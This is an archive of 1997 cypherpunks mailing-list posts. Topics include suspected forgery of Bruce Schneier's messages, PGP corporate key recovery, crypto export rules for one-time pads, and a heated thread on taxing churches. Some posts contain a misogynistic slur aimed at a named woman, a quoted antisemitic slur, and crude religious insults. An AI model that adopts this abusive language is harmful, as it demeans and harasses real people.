Message-ID: <199711050500.AAA05681@alcove.wittsend.com>
MIME-Version: 1.0
Content-Type: text/plain



Uhhh....

	Can anyone tell for sure what's up with Bruce...

	After getting this message and responding to it, I dropped a note
over to Bruce's centerpane address...

Bruce Schneier enscribed thusly:
> Michael H. Warfield wrote:
> >         Nooo...  Actually, at the moment, we are just trusting their word.
> > So far, we haven't heard a peep from Bruce.  Maybe Bruce is working with
> > them, and that's all well and good, but until such time that we hear so
> > from Bruce in a way that we can authenticate, we are not even up to the
> > point of trusting him as yet.  We are still at the point of trusting
> > whatever they are telling us. 

> Help!!!
> They are holding me hostage at syncrypt.com and using my name
> to promote their product.

> Please! Believe me! This is not just another unclever trick by
> that forging rat bastard from sk.sympatico.ca.

> Bruce

	When I forwarded my message to Bruce's address at centerpane
"just to be sure" here is what I got back...

> From schneier@mixer.visi.com  Tue Nov  4 23:46:24 1997
> Return-Path: <schneier@mixer.visi.com>
> Received: from mixer.visi.com (schneier@mixer.visi.com [204.73.178.1])
> 	by alcove.wittsend.com (8.8.7/8.8.7) with ESMTP id XAA05599
> 	for <mhw@alcove.wittsend.com>; Tue, 4 Nov 1997 23:46:05 -0500
> Received: (from schneier@localhost) by mixer.visi.com (8.8.6/8.7.5) id WAA05081 for mhw@alcove.wittsend.com; Tue, 4 Nov 1997 22:45:43 -0600 (CST)
> Date: Tue, 4 Nov 1997 22:45:43 -0600 (CST)
> Posted-Date: Tue, 4 Nov 1997 22:45:43 -0600 (CST)
> Message-Id: <199711050445.WAA05081@mixer.visi.com>
> From: schneier@visi.com (via the vacation program)
> Subject: Schneier is missing; last seen headed for Beijing
> Status: RO
> 
> I will be away from my email until Saturday, 11/15. I won't be taking
> a computer with me, so I won't have any email access until I return.
> If you really need to get in touch with me, try leaving a voice 
> message at 612 823 1098.  And be patiend.
> 
> Information on Counterpane Systems consulting business, the 
> corrected 5th printing of Applied Cryptography 2nd Edition,
> my new book (The Electronic Privacy Papers), my S/MIME exploit,
> the PasswordSafe program, and a lot of other things can be found
> on my webiste:
> 
> 	http://www.counterpane.com/
> 
> Thanks,
> Bruce

	Ok...  If he didn't take a computer with him then he just gave
new meaning to sending a message from @dev.null...  Yeah right.  Got about
a week and a half till he's back, according to this...

	Is it Bruce or is it Memorex...  On the Internet...  Who can tell?

	Mike
-- 
 Michael H. Warfield    |  (770) 985-6132   |  mhw@WittsEnd.com
  (The Mad Wizard)      |  (770) 925-8248   |  http://www.wittsend.com/mhw/
  NIC whois:  MHW9      |  An optimist believes we live in the best of all
 PGP Key: 0xDF1DD471    |  possible worlds.  A pessimist is sure of it!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <remailer@htp.org>
Date: Wed, 5 Nov 1997 09:44:32 +0800
To: cypherpunks@toad.com
Subject: Re: Forging your return address.
In-Reply-To: <345F5723.44A3@sk.sympatico.ca>
Message-ID: <19971105012501.13508.qmail@nsm.htp.org>
MIME-Version: 1.0
Content-Type: text/plain



>Sympatico Admin wrote:
>> Hi Larry,
      ^^^^^
Eek!  The snakes of Medusa?!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bureau42 Anonymous Remailer <nobody@bureau42.ml.org>
Date: Wed, 5 Nov 1997 10:18:16 +0800
To: cypherpunks@ssz.com
Subject: No Subject
Message-ID: <akicAIDdlwk83mHqUg3IQg==@bureau42.ml.org>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back writes:

> People copy commercial software all the time.  I suspect only some
> small fraction of personal use software is ever paid for.  Companies
> are less likely to do this

Companies do it because the boss can instruct the underlings to
do multi installs and then deny he did so.  Doesn't work on
pig-headed "Can I have that in writing" types (like me).


> One idea which I did like was the open bidding for a product to be
> developed, people interested in the feature or product pay how much it
> is worth to them up front, developers bid to take the job on.  After
> it's done the software is freeware.  Supporting ideas discussed before
> on this topic are that first to complete gets paid, or lowest bidder
> presents completion bond, and that there are independent aribitrators
> checking quality.

> There was someone who posted to the list that he was going to set this
> up.  He even purchased the domain name if I recall.  What happened,
> did anything come of it?


Bounty Software Group (BOUNTY3-DOM)
   818 West Sunnyside, Apt 3b.
   Chicago, IL 60640
   US

   Domain Name: BOUNTY.ORG

   Administrative Contact:
      Petro, Christopher  (CP588)  petro@SUBA.COM
      312.784.0099
   Technical Contact, Zone Contact:
      Strasheim, Alex R.  (AS55)  alex@SUBA.COM
      (312) 929-8008
   Billing Contact:
      Petro, Christopher  (CP588)  petro@SUBA.COM
      312.784.0099

   Record last updated on 23-Nov-96.
   Record created on 23-Nov-96.
   Database last updated on 4-Nov-97 05:29:24 EDT.

   Domain servers in listed order:

   SUBA01.SUBA.COM		198.87.202.2
   BIRD.SUBA.COM		198.87.202.33





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 10:45:15 +0800
To: fight-censorship@vorlon.mit.edu
Subject: Re: Why Jodi Hoffman must be called, etc. etc.
Message-ID: <199711050210.DAA18934@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Lizard wrote:
>At 07:39 PM 11/4/97 -0500, Jodi Hoffman wrote:
>>You're a bright one, aren't you?  
>>Not that I feel I owe anyone an explanation, but since you took the time 
>>and trouble to write so damn much.....
>>CIN donated the webspace.  Another Christian organization arranged for 
>>someone to build the website and, well, here I am.  
>>Aside from the fact that I didn't want to have to pay for _anything_, I 
>>think that was very generous of them, don't you?
>
>So, allying yourself with people who would gladly force *your* childen to
>pray to *their* God doesn't bother you in the least. Fascinating.

More telling, she doesn't seem to have a problem using a religious (and
therefore tax-exempt) organization to push a political agenda. Apparently
that whole 'separation of church and state' thing only applies when it's
convenient.

If religions want to play politics, the least we can do is get them to pay
for the privilege. I'd feel a certain guilty pleasure seeing some of those
bottom-feeders taxed into penury.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Wed, 5 Nov 1997 20:01:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: PGP and Compliance with SEC and Liability Rules
Message-ID: <878730951.18011.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May quoted from macweek:
>"The Gartner Group's Wheatman pointed out that PGP Policy Management Agent
>allows corporatins for the first time to centralize control over
>encryption: "For encryption to be accepted, IT had to gain control. This
>isn't Big Brother; this is necessary to comply with liability laws and SEC
>regulations.""

However, this doesn't seem to work, unless I'm mistaken about CMR
enforcement and the SEC regulations. CMR will only allow the snoops 
to read incoming email, not outgoing, and hence if Joe Blow at 
Foo-Bah.com wants to send me some handy insider trading tips CMR will 
not stop them. So this seems to be another justification for CMR 
which just doesn't make sense.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 11:25:14 +0800
To: cypherpunks@toad.com
Subject: Higher Education
Message-ID: <199711050259.DAA24595@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>From News of the Weird:

* Five third-graders were suspended from school in April in Eaton,
Colo., for drug use.  Not only were they caught smoking marijuana
during recess, but they had rolled the joints using pieces of paper
torn from their homework.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 11:26:06 +0800
To: cypherpunks@toad.com
Subject: Digital Signatures Come of Age
Message-ID: <199711050301.EAA24793@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



* San Francisco "conceptual artist" Guy Overfelt, 29, was
prominently, if not favorably, reviewed for two recent projects:  For
a show at the Refusalon gallery in San Francisco, he called 2,000
toll-free numbers to request that information be sent to the gallery. 
(That's it.)  For a show at New York City's White Columns Gallery
in the winter, he exhibited two 1,000-name mailing lists of art
collectors, one for the East Coast and one for the West Coast. 
(Overfelt offered for sale a "signed" edition of the mailing lists, on
PC and Mac diskettes, for $20 each.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 11:34:51 +0800
To: cypherpunks@toad.com
Subject: Forcing someone to mow your lawn, in the commission of a crime...
Message-ID: <199711050301.EAA24892@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



* In July, police in Lexington, Ky., were searching for Delbert
Buttrey, 47, who they believe is the man who kidnapped a transient
couple from Indiana, took them to an isolated spot, and forced
them to perform oral sex on him while Buttrey's girlfriend snapped
photographs.  After that, according to police, Buttrey took the
couple home with him and forced the man to mow his lawn.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 12:19:04 +0800
To: cypherpunks@toad.com
Subject: If it wasn't for the Internet, you might never know this... (WAS: Your Tax Dollars At Work...)
Message-ID: <199711050303.EAA24990@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>From News of the Weird:

* The February Scientific American reported on how conservation
biologist Joel Berger (University of Nevada at Reno) field-studies
moose, which are notoriously unfriendly to humans.  Berger needed
to be able to hurl fresh bear and wolf dung accurately enough to
assure that a moose immediately smelled it, to see if it made the
moose fearful or aggressive.  To be able to get that close to a
moose, he engaged a designer who worked on the movie "Star
Wars" to make a moose suit, which worked so well that Berger said
he spent much of his time in the suit worrying about being
mounted.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 12:09:34 +0800
To: cypherpunks@toad.com
Subject: Cypherpunks Physical Meetings...The Rest of the Story
Message-ID: <199711050303.EAA25015@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



>From News of the CypherPunks:

* In March, a 36-year-old man choked to death on a 6-inch tropical
fish he had popped into his mouth while showing off for friends in
Bayou Vista, La.  And in April, a 12-year-old boy was electrocuted
in East Palo Alto, Calif., after he climbed a high-voltage
transmission tower in the rain, dared his three companions to join
him, and then accidentally touched a wire.  And in July, a 22-year-
old man, described by his grandmother as "smart in school," died in
a bungee-cord accident on a railroad trestle in Fairfax County, Va. 
(Said a police spokesman:  "The length of the cord that he had
assembled was greater than the distance between the trestle and the
ground.")






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mark@unicorn.com
Date: Wed, 5 Nov 1997 21:08:56 +0800
To: cypherpunks@cyberpass.net
Subject: Teaching Kids To Love Big Brother
Message-ID: <878734718.23058.193.133.230.33@unicorn.com>
MIME-Version: 1.0
Content-Type: text/plain



>From the Infowar Web site:

BRISBANE, Nov 2 AAP - Special computer software will stop Queensland 
school children accessing pornography on the Internet as schools are 
connected to the worldwide web over the next year, Education Minister 
Bob Quinn said today. 

[deletia]

"Students will not be permitted to deviate down the many unsavoury side 
roads off the information superhighway," Mr Quinn said in a statement. 

"We don't want children exposed to pornography. We don't want them learning 
how to make bombs. We don't want them gambling in cyberspace and we don't 
want them wasting their valuable time on silly games and other pointless pursuits." 

[deletia]

Attempts to access prohibited sites on school Internet terminals would 
trigger an automatic alarm monitored by Education Queensland's network administrators. 

Mr Quinn said e-mail would also be scrutinised and messages with 
prohibited words or phrases automatically directed to administrators. 

[deletia]

The monitoring system would also monitor traffic patterns used by 
Queensland's 450,000 students and 30,000 teachers, he said. 

>>> END

Shame about the export restrictions, or this would be a great market
for PGP's new snoopware.

    Mark





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 12:43:13 +0800
To: cypherpunks@toad.com
Subject: Re: Taxing Churches for their views? Bad idea.
Message-ID: <199711050422.FAA04318@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> At 7:10 PM -0700 11/4/97, Anonymous wrote:
> >More telling, she doesn't seem to have a problem using a religious (and
> >therefore tax-exempt) organization to push a political agenda. Apparently
> >that whole 'separation of church and state' thing only applies when it's
> >convenient.
> >
> >If religions want to play politics, the least we can do is get them to pay
> >for the privilege. I'd feel a certain guilty pleasure seeing some of those
> >bottom-feeders taxed into penury.

> Nonsense. And a dangerous course.
> 
> One can decide to "tax churches" or to "not tax churches." I have no
> particularly strong opinion on either option.
> 
> But one must definitely _not_ base the decision to tax or not to tax on the
> opinions expressed by a church!

  I feel that Tim is correct, in terms of "opinions," but the Christian
political agenda goes beyond 'opinions' and into the realm of political
activism which is regulated by law.
  It is a fact that the Moral Majority/Christian Right/Felons For Jesus,
etc., make no bones about using their tax-deductible resources to mount
political campaigns that illegally skirt the rules pertaining to the
direct support of political parties and candidates.

  If the Commie Chincs brunching at the Whithouse and sleeping in the
Lincoln bedroom tried to excuse their illegally made payoffs to the
current administration by getting a glazed look in their eye and
speaking about answering to 'a higher power', the press and the
citizens would lynch them.
  Certainly, the Christian political movement is no 'dirtier' or more
criminal than the rest of the Fools On the (Capitol) Hill, but they are
all the more hypocritical for claiming the higher moral ground in their
illegal activities.

Criminals is criminals...

JHFCMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aileen holovacs <holovacsOMIT@idt.net>
Date: Wed, 5 Nov 1997 18:39:40 +0800
To: Jodi Hoffman <jlhoffm@ibm.net>
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
In-Reply-To: <Pine.LNX.3.95.971103132429.23538B-100000@vorlon.mit.edu>
Message-ID: <34607414.73E4@idt.net>
MIME-Version: 1.0
Content-Type: text/plain



Jodi Hoffman wrote:
> 
> TruthMonger wrote:
> <snipped, because it's basically a lot of crap>
> 
> Monger:
> 
> Feel better?  I certainly hope so.
> By the way...for whatever it's worth:
> #1...I'm Jewish, not a Nazi-loving Christian bitch.
> #2...You have no idea who or what I am.
> #3...You hate that I'm right.  I love that.
> 
>
> #1...I'm Jewish, not a Nazi-loving Christian bitch.	I have to assume you were not born Jewish, nor converted to 
Judaism. I have yet to meet a Jew w/ such a fundamentalist Christian view 
of the world. If you were indeed born Jewish, I will apologize ahead of 
time and say only that, your education in yiddishkeit(Jewish life) and 
halakhah(Jewish law) must either have been nonexistant, or Lubavich. I 
suspect you consider yourself jewish because you are a jew for jesus. A 
Christian who has decided to adopt jewish tradition and therefore calls 
themself jewish. I bring these points to your attention:

> "DON'T SACRIFICE MY CHILD
>ON THE ALTAR OF THE FIRST AMENDMENT." Jews have never been advocates of censorship in any form. A Jews were not 
allowed to act, speak, or pray in WWII Germany, they were sent to death 
instead. Jews are not allowed to worship or read the holy books in 
communist countries. The greatest Jewish leaders through out history, 
read and argued dissenting viewpoints, they did not censor them.Even 
today, Jews take responsibility for their own children, they do not ask 
others to do it for them. The more orthodox place their children in 
private schools at their own expense, and teach their children to stay 
away from non-jews, they don't expect everyone else to bend to their 
views. 

I strongly doubt any Jew would choose use a quote from hitler. 

> Christians, clergy, and even Christ Himself
>are held up as objects of scorn Why do you use these terms? Why not Rabbis, teachers, and even the Ten 
Commandments? And the term Christ himself????As far as Jews are 
concerned, Jesus was nothing more than a minor prophet. It is upsetting 
that other religion's icons are held in scorn, but this is because we 
respect other people's belief.

>Homosexuality, abortion, violence, and contempt for all parental and
>governmental authority is the prevailing order of the day. 	Yes homosexuality is forbbidden, however, abortion and 
contraception is NOT! Even for the very orthodox, abortion is ALWAYS 
allowed to save a woman's life and in ANY case rape or incest. Among 
non-orthodox Jews, it is allowed if necessary for the sake of the family, 
or for the mental health of the woman. Even among the most orthodox, 
contraception is allowed after the birth of at least 1 male and 1 female 
child, and the sexual act is considered a mandatory act of mutual 
pelasure!
	I think you would find most Jews believe that contempt for 
parents, and lack of respect for adults is a direct result of upbringing, 
not the media or the internet.Jews teach respect by example, including 
respecting their own children. That, plus a healthy dose of jewish guilt. 
Jewish parents hold their children in such high regard, that there is no 
worse feeling than dissapointing your parents.
	While I don't think Jews as a whole hold the government in 
contepmt, they are among the first to say 'question authority'.Look at 
what has happened to us when we don't!(and sometimes even when we do)

>particularly powerful form of media is represented by the so-called
>"arts community."   Some latter-day "artists" actually make a
>pretty good living by mocking traditional values and Christianity.
>Consider Andres Sorrano's "Piss Christ" (a photograph of a crucifix
>submerged in urine) or Robert Mapplethorp's photos, which include one
>showing a bullwhip protruding out of his rear end.	Many Jews are great patrons of the arts. Art is a cultural 
legacy. If it's trash, don't by it or look at it; don't sponsor a museum 
that exhibits that trash, but censor? Never! Even pornography is 
allowable, it is up to the parents to educate the children on these 
matters.

> But they say not
>a word when it is pointed out that the Bible and all mention of morality
>in textbooks have been ruthlessly hounded from the schools.	It's called the Tanakh(Old Testament) not the bible. Jews have 
always insisted that their children get a Jewish education as well as an 
ecumenical one. from kindergarten on, Jewish children usually spend hours 
each week in hebrew school learning jewish history, law and culture. You 
cannot be b'nai Mitzvoh unles you go through all this. Even someone who 
converts to Judaism, must study until the Rabbi feels the have learned 
enough, before they can b'nai Mitzvah.

>Any individual weakness is treated as a problem of society, not of the
>person, and this relieves everyone of the responsibility of improving
>themselves.	Jews take responsibility not just for themselves but for the 
welfare of society, without any other agenda. The Mitzvah(good deed) is 
one of the top 5 most importanat things about being a jew. It means 
giving simply for the sake of others. Children are shown, very early, how 
good it feels to do a mitzvah, and all jews are encouraged to do a 
mitzvah a day. They don't blame  problems on society(as you seem to), nor 
do they expect the government to fix the problem(as you seem to). The 
best way to solve these problems is to offer help freely to resolve the 
problem, Not find a way to place blame(as you seem to). Is pornography 
really the problem, or is it that our youth are out of control and lack 
leadership and role models? Banning dirty words will not keep children 
from learning them. Teaching children how people use them and why they 
are innapropriate will. Teaching "bible" at school will not instill 
morality, teaching by example will. 
 
>#2...You have no idea who or what I am.	We have learned enough about you, through your messages here and 
you web site, to draw rather strong conclusions.

> #3...You hate that I'm right.  I love that. 	I intensely dislike your views, I don't hate anyone. I feel sorry 
for you, that your lack of education has left you vulnerable to the 
pseudo-science that you quote. It is obvious that you have never had a 
course in statistics, politics and government, sociology, science, ot 
research methods, to name a few. Jewish culture AND religion take great 
pride in holding education as one of the primary foundations of being a 
Jew!

Jew prize knowledge and education. Ideas are things to be nurtured and 
grown, books are things to be cherished and absorbed.The idea of 
censorship is an anathema to the entire culture.

If you were Jewish you would know at least some of this. It makes you and 
your arguments even less credible when you portray yourself as something 
you're not. Let's at least have a little honesty here even if we 
completely disagree on the censorship issue. Khlallah: gey en dregk


Men roybt undz dos lebn un recht             
                                          
Derfar vayl mir emes farlangen

Frayhayt, far bafrayt

They steal our lives and our rights,
because of our true desire,
freedom, freedom for everyone    

(from"tortured to death in captivity")
G.A.Machtet, poet
dedicated to student revolutionaries
-- 
Channah beyt Yehudit 
holovacs@idt.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 13:00:22 +0800
To: cypherpunks@toad.com
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
Message-ID: <199711050439.FAA06121@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> Due to my advanced age, compared to most of you, I was attending elementary
> school in the State of Virginia before the Supreme Court struck down school
> prayer (circa 1962). I vaguely recall a kind of prayer at times, which
> anyone was free to ignore. Obviously a child will feel social pressures to
> conform...but such is life in many ways.

  And then the rest of the children were made to stand at attention
while
the Jews, the Buddhists, the Muslims, et al, performed their own
religious
rituals, right?
 
> The Jew in our class was specifically exempted from school prayers. Seth
> Schrager--I remember his name somehow--was excused from Christian
> activities, like building manger scenes and reenacting Christian parables
> in school plays. Actually, we didn't _want_ any Christkillers in our school
> plays.

  Big news, Tim...non-violent discrimination against a particular 
religious faction is not quite the same as freedom from religious 
persecution.
  i.e. - Not kicking Seth's Christkilling little butt is not the 
equivalent of letting him engage in his religious activities in 
school just as the Christian kids do.

  Still looking for your shoes? Check under the bed...

~JC~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 13:14:24 +0800
To: cypherpunks@toad.com
Subject: Re: Taxing Churches for their views? Bad idea.
In-Reply-To: <v03102802b085858a6a1a@[207.167.93.63]>
Message-ID: <199711050452.FAA07439@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:


>
>Nonsense. And a dangerous course.
>
>One can decide to "tax churches" or to "not tax churches." I have no
>particularly strong opinion on either option.
>
>But one must definitely _not_ base the decision to tax or not to tax on the
>opinions expressed by a church!
>
>One cannot decide to tax the Catholic Church "into penury" because its
>anti-abortion views have become politically incorrect in the last 30 years.
>Nor can one decide to tax the tempes and synagogues of Judaism "into
>penury" because they are centers of support for the Zionist Entity.
>
>Think about it.
>
>--Tim May

You should only tax churches who hand out guns instead of bizarre flat
bread and intone "this is my body, use it for target practice".
You should also tax any church where the priests routinely recruit young
boys and tell them anal sex with a priest will get them into heaven.
Also tax any church where the sermon is immediately followed by an orgy.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Wed, 5 Nov 1997 19:16:15 +0800
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: Privacy Software
In-Reply-To: <199711050204.SAA02515@comsec.com>
Message-ID: <199711051058.FAA02480@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back wrote:
| Monty Cantsin writes:

| > We should consider a rewrite, which gives us the added benefit that
| > it will be completely unencumbered.
| 
| Sounds maybe worth doing.
| 

Not maybe at all. The IETF will require a second, interoperable
implementation for standardization of OpenPGP.  Its sad that the
interoperable SSH was written for Pilots, since it uses some libraries
there that are not portable.

| > Something I've never liked about PGP is their approach to encrypting
| > to multiple keys.  For one thing, the PGP crowd seems overly
| > conservative with bit expenditure, which is silly because bits are
| > cheap.  This means that creating entirely separate messages is
| > completely economical.
| 
| This is more secure I agree.  The real kicker with this problem is
| people who turn on encrypt to self -- I don't want messages with
| encrypt to self (an extra door into the message) on them in my
| mailbox, nor coming over the wire headed to me.

Pretty Good, not Perfectly Strong.

Never underestimate the value of pretty good security.  The bad guys
use scanners that need to work in real time; even 40 bit crypto with a
30 second delay creates huge headaches.  I see a PGP encrypted
message, even with encrypt to self on as pretty good.  Sure, its not
sealed with a two color wax seal in a tyvek envelope, but its pretty
good.

Adam


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Paul Spirito" <berezina@qed.net>
Date: Wed, 5 Nov 1997 19:23:05 +0800
To: "Jodi Hoffman" <lizard@mrlizard.com>
Subject: Re: Why Jodi Hoffman must be called a 'Dumb Cunt' and told to 'Go Fuck Yourself' at all costs, by TruthMonger
Message-ID: <01bce9da$dad58560$357d8dcc@Berezina>
MIME-Version: 1.0
Content-Type: text/plain



From: Lizard <lizard@mrlizard.com>:
>
>So, allying yourself with people who would gladly force *your* childen to
>pray to *their* God doesn't bother you in the least. Fascinating.

Her Muse is Fear. She has that in common with her Christian allies.

Paul

Is this the progression of our lives
                                  or merely a comment on them?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 13:28:46 +0800
To: cypherpunks@toad.com
Subject: Re: Will Jews be Forced to Accept Christ in Public Schools?
In-Reply-To: <v03102801b085831fd8a7@[207.167.93.63]>
Message-ID: <199711050515.GAA10042@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
>There is no way any proposed laws will force Jewish kids to pray in certain
>forms.
>
>(I say this not as a defender of the Christian Right, but in the interests
>of truth.)
>
>Due to my advanced age, compared to most of you, I was attending elementary
>school in the State of Virginia before the Supreme Court struck down school
>prayer (circa 1962). I vaguely recall a kind of prayer at times, which
>anyone was free to ignore. Obviously a child will feel social pressures to
>conform...but such is life in many ways.
>
>The Jew in our class was specifically exempted from school prayers. Seth
>Schrager--I remember his name somehow--was excused from Christian
>activities, like building manger scenes and reenacting Christian parables
>in school plays. Actually, we didn't _want_ any Christkillers in our school
>plays.
>
>Personally, I'd rather see school vouchers, or, even better, a complete
>withdrawal of public funding for schools. Let the Zoroastrians send their
>kids to whatever school they like...and let them pay the freight.
>
>--Tim May
>
>

Huh? Since when has school prayer had anything to do with religion?
Its about indoctrination. If you force someone to say something day
after day, or even hear it day afterday, after a while it stops
representing a idea, and starts representing a truth. The pledge of
allegiance is a prime example. 

Ask a school age kid "does america have liberty and justice for all?"
and they will quote back without thinking the pledge of allegiance 

"I pledge allegiance to the flag of the united states of america
and to the republic for which it stands, one nation under god
indivisible with liberty and justice for all"

Long after they stop forcing you to say it you still remember it. You 
still believe that america is "a nation under god" and has "liberty and
justice for all" whether or not there is any evidence at all to support 
it. That is the beauty of it, there need be no evidence of liberty at 
all just like there is no evidence that terrorists and kiddie porn
collectors are running rampant on the internet. Just like there is no
evidence that the economy is worse than it has ever been. Just like 
there is no evidence that 2/3s of the crime in america is committed by
teenagers.Just like there is no evidence that you have a 50% chance of
being killed when you leave your house. People hear these "facts" day 
after day on tv but are never offered any proof but im sure if you ask most
people "how is the economy" they will say "worse than it has ever been".

Say something 3 times and it becomes true. 

forget my last post about only taxing some churches, tax them all.


--bucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 14:06:44 +0800
To: cypherpunks@toad.com
Subject: Re: Taxing Churches for their views? Bad idea.
Message-ID: <199711050535.GAA12187@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:

>Also tax any church where the sermon is immediately followed by an orgy.

Well, so much for the Church of the SubGenius. Of course, they already
weren't tax-exempt, so it's kind of a moot point. The orgies are worth
it. though.

Can we at least tax the Scientologists, too? All that Reactive Mind shit
makes me puke.

JR"B"D






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 14:31:03 +0800
To: cypherpunks@toad.com
Subject: Re: Taxing Churches for their views?
Message-ID: <199711050615.HAA16549@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



J.F. Christ wrote:

>   I feel that Tim is correct, in terms of "opinions," but the Christian
> political agenda goes beyond 'opinions' and into the realm of political
> activism which is regulated by law.
>   It is a fact that the Moral Majority/Christian Right/Felons For Jesus,
> etc., make no bones about using their tax-deductible resources to mount
> political campaigns that illegally skirt the rules pertaining to the
> direct support of political parties and candidates.

So, perhaps the modern-western idea of separation of Church and State
is based on an unreasonable optimism that such a thing is possible.
Perhaps it's actually more honest to admit that the state will always
reflect the religious framework of the rulers, as (I believe) Muslim
countries tend to do.

Of course, there's no reason to believe that honesty actually
determines social structures, and so one might say that it's just more
useful to _claim_ that church and state are separated.

::Boots

                               Hug an abortionist today!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Wed, 5 Nov 1997 20:41:05 +0800
To: cypherpunks@toad.com
Subject: Re: Need info! / Re: Export a random number, go to jail
In-Reply-To: <199711040106.CAA04679@basement.replay.com>
Message-ID: <199711051229.HAA09540@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous writes that I wrote:

: > >If your basis for saying that the U.S. government says that one time
: > >pads are exportable was the governments classification of a one time
: > >that I wrote in DOS assembly language using XOR to munge together the
: > >contents of two files, I don't think that you can rely on that
: > >authority since, at the same time, the government refused to rule that
: > >all one time pads using XOR are not subject to licensing under the
: > >EAR.
: > 
: > "Export a random number, go to jail."

And then asked:

: 
: Is it legal to export '37'?
: How about '148'?
: '276'?
: '3,289,534'?
: '6.33458'?

Perhaps I was not clear enough.  The U.S. government's classifications
that I wrote about had to do with one-time pad programs, not the pads
themselves.  

I know of nothing official that says that the pads themselves are
exportable, but there is nothing in the regulations that suggests they
are not.  Random number and encrypted messages are not regulated by
the U.S. export regulations; only ``encryption software'' is
regulated.  So far as I know the government has never claimed that
one-time pads are, or are not, subject to the export regulations.

If anyone knows of a governmental classification relating to the
export status of one-time pads themselves, I would be very grateful
for a reference.

Thanks,
Peter
--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 5 Nov 1997 16:15:54 +0800
To: cypherpunks@toad.com
Subject: Re: Taxing Churches for their views? Bad idea.
In-Reply-To: <199711050535.GAA12187@basement.replay.com>
Message-ID: <199711050759.IAA26701@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



some person wrote:

Anonymous wrote:
>
>>Also tax any church where the sermon is immediately followed by an orgy.
>
>Well, so much for the Church of the SubGenius. Of course, they already
>weren't tax-exempt, so it's kind of a moot point. The orgies are worth
>it. though.
>
>Can we at least tax the Scientologists, too? All that Reactive Mind shit
>makes me puke.
>
>JR"B"D
>
>

You know whats wierd? there are these people that think a virgin gave birth
to a guy, and this guy was the son of god! And get this, he was killed, and
came back to life! They based an entire religion on this!

Its amazing what people will believe. 

--bucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike <Michael.Johnson@mejl.com>
Date: Wed, 5 Nov 1997 16:35:20 +0800
To: cypherpunks@toad.com
Subject: Re: Profiling/pc security at Ben-Gurion Airport, Tel Aviv, Israel
In-Reply-To: <1.5.4.32.19971104141539.00678200@pop.samart.co.th>
Message-ID: <3.0.3.32.19971105092037.0098a7d0@localhost>
MIME-Version: 1.0
Content-Type: text/plain



